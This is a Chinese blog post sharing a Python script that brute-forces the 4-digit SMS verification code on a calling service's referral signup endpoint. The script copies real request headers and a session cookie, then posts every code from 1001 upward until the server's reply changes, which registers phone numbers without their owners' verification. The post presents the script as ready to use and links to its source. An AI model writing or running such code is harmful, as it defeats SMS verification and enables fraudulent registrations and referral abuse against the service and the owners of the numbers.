Python带协议头(headers)暴力注册MM电话代码

作者: admin 分类: python 发布时间: 2019-09-01 23:50

python接触没几天,但写 post程序是比较有趣比较有用的,所以研究了下,发现python的第三方库requests是很不错的POST,GET等网页交互操作的模块,所以安装了这个库,写了代码以后,在协议头哪里弄了很久,另外在for循环里加入了while循环,结果程序没有自动跳出(这样用法是有问题的),后面用if判断就正常了。代码如下,都有解释,不说阐述:

import requests # 引入requests模块
url1=’http://www.mmcaller.com/wap/laxinReg.act’ #POST网址
data1=’mobile=被推荐的号码&invitedby=自己的号码&smsCode=1111&inviteway=web-url&sign=d479861f2626ad40709da1895ba4b9c0760e43bf9028ce84ea41626cd44f0bc475223fefd407bdd7e7b37bceb6fc62eab385198e1b95′
#post的数据,其中1111是初始验证码

head={‘Host’: ‘www.mmcaller.com’,
‘Connection’: ‘keep-alive’,
‘Content-Length’: ‘185’,
‘Accept’: ‘application/json’,
‘Origin’: ‘http://www.mmcaller.com’,
‘X-Requested-With’: ‘XMLHttpRequest’,
‘User-Agent’: ‘Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36 TheWorld 6’,
‘Content-Type’: ‘application/x-www-form-urlencoded’,
‘Referer’: ‘http://www.mmcaller.com/w/lx.c?s=web-url&a=?????’,
‘Accept-Encoding’: ‘gzip,deflate,sdch’,
‘Accept-Language’: ‘zh-CN,zh;q=0.8’,
‘Cookie’: ‘JSESSIONID=6517114FFCEBAB0FE9E5228C63A3FE08; U_UID_JSESSIONID_KEEPC=492569; U_BC_JSESSIONID_KEEPC=0.0; U_NAME_JSESSIONID_KEEPC=自己号码; U_PWD_JSESSIONID_KEEPC=37813d32cd5f64c0; Hm_lvt_6411748e94749dc822884a48bd026032=1436195631,1436280948,1436440536; Hm_lpvt_6411748e94749dc822884a48bd026032=1436449102; Hm_lvt_026df1e3785835b164361376798f7917=1436195274,1436280878,1436440509; Hm_lpvt_026df1e3785835b164361376798f7917=1436449123’}
#协议头,就是这么写的,POST要用到,如果不懂,可以参考文章:http://www.mianfeidianhua.net/mfwydh.html中关于协议头的解释

 

r=requests.post(url1,data1,headers=head)#requests的POST数据格式,第一个是网址,第二个是POST数据,第三个是协议头,协议头在有些POST里不是必须的,但大部分都需要这个。

r1=r.content
print r1 #打印POST初始数据后的返回值
numcod=1000 #设置初始跑码为1000,因为验证码是4位数,所以从这个跑起不会漏
for i in range(9000): #设置9000次循环
numcod=numcod+1 #验证码每次加1
numm=str(numcod) #把验证码由数值类型转换成文本型数据
data2=data1.replace(‘1111’,numm) #替换初始验证码1111为每次生成的验证码数字
r=requests.post(url1,data=data2,headers=head) #requests又在POST数据
print numcod #打印已经跑了的验证码数字

print r.content #打印POST后的返回信息
if(r.content != r1): #如果返回信息 不等于初始值,那么就说明已经找到了真正的验证码
print ‘恭喜,已经找到真正的验证码,并且注册成功,验证码为:’+numm #打印验证码数值
break #跳出for循环

可以下载源码看:http://pan.baidu.com/s/1jG1UUPK

相关文章

发表评论

邮箱地址不会被公开。 必填项已用*标注

Powered by 草根站长笔记 © 2015-2020 草根站长笔记 Inc.版权所有,禁止转载